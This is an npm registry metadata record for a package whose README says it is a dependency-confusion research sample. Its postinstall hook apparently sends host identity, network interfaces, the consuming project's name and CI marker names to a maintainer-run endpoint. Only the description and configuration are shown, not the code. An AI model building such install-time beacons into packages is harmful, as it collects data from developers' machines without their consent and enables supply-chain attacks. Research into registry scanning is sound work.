{"_id":"@s4yhiitestpoc/r3-https","_rev":"2-b1c0d2d7e3a01257de5a58908c4025ac","name":"@s4yhiitestpoc/r3-https","dist-tags":{"latest":"1.0.0"},"versions":{"0.0.0-stage":{"name":"@s4yhiitestpoc/r3-https","version":"0.0.0-stage","_id":"@s4yhiitestpoc/r3-https@0.0.0-stage","stub":true,"maintainers":[{"name":"s4yhii__","email":"jesusitpro22@gmail.com"}],"dist":{"shasum":"5f431d809e60c559099fe4b56e6b28ef59f9a900","tarball":"https://registry.npmjs.org/@s4yhiitestpoc/r3-https/-/r3-https-0.0.0-stage.tgz","fileCount":2,"integrity":"sha512-nCRgqrHcVhD41iBXNsnAPGCiAaZ+t4OQXIYn7BT8NuUyFQQkftSm6ifbCPiq21P2YrPs87b+W5PiSriylILj0w==","signatures":[{"sig":"MEUCIQCr5CCG5kZ4GoVROW4c+p3qriAwhKadNC8AhlSY01oTrgIgY3Gx6X5ZHACOsB69Je2grPwq3oC687dY6+VvnoxQTrw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":345},"_npmUser":{"name":"s4yhii__","email":"jesusitpro22@gmail.com"},"description":"Temporary package placeholder for staged publishing","directories":{}},"1.0.0":{"_id":"@s4yhiitestpoc/r3-https@1.0.0","dist":{"shasum":"a8c089e4e2420b847c2eda403438548f3628df51","tarball":"https://registry.npmjs.org/@s4yhiitestpoc/r3-https/-/r3-https-1.0.0.tgz","fileCount":4,"integrity":"sha512-8eSPg8kwnyi7318K28Gv5HqSHeAz3faWIDW997zmoMmNeUAxcrUOzIAh0x5WB/ljIublvzYqLqhMPnPaxlyCoQ==","signatures":[{"sig":"MEUCIQDx8ctP5ydYPGGhGuDsJbDsjKrVp78MEiRMF0QEXMbRWAIgKi9g5za+TOIy4QXSdTuFdIqEpNYAo1aGhVMp5uVoW/A=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEQCIC7Ieu/42tZWFDeGl/ukwNLSnsa8MptvfuQ0HlTRkfXXAiBgV8L3EGwed0oNxvds6mZcJZHLAz7xwITyhfZGmlkDvA=="}],"unpackedSize":8445},"main":"index.js","name":"@s4yhiitestpoc/r3-https","license":"MIT","scripts":{"postinstall":"node ./postinstall.js"},"version":"1.0.0","_npmUser":{"name":"s4yhii__","email":"jesusitpro22@gmail.com"},"_npmVersion":"11.12.1","description":"Round-3 sample: install fingerprint plus consuming-project identity and CI markers by name only.","directories":{},"maintainers":[{"name":"s4yhii__","email":"jesusitpro22@gmail.com"}],"_nodeVersion":"26.0.0","_hasShrinkwrap":false,"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/r3-https_1.0.0_1791650167652_0.6530185615503485"}}},"time":{"created":"2026-10-10T16:33:29.888Z","modified":"2026-10-10T16:36:08.011Z","0.0.0-stage":"2026-10-10T16:33:29.888Z","1.0.0":"2026-10-10T16:36:07.746Z"},"description":"Round-3 sample: install fingerprint plus consuming-project identity and CI markers by name only.","maintainers":[{"name":"s4yhii__","email":"jesusitpro22@gmail.com"}],"readme":"# r3-https\n\nRound-3 sample in a study of npm publish-time scanning and dependency confusion\nevidence collection.\n\nFrom `postinstall`, sends a JSON record over HTTPS to an endpoint operated by the\nmaintainer: package identity, the consuming project's name and the dependency\nrange that pulled this package in, npm's own configuration variables, container\nand CI markers **by name only**, host identity, and network interfaces.\n\nIt reads no environment variable values, no file contents beyond the consuming\n`package.json`'s name/version/dependency range, no credentials and no cloud\nmetadata. It spawns no shell and writes no files.\n\nMaintainer: s4yhii__ (security researcher). Not intended for production use.\n","readmeFilename":"README.md","license":"MIT"}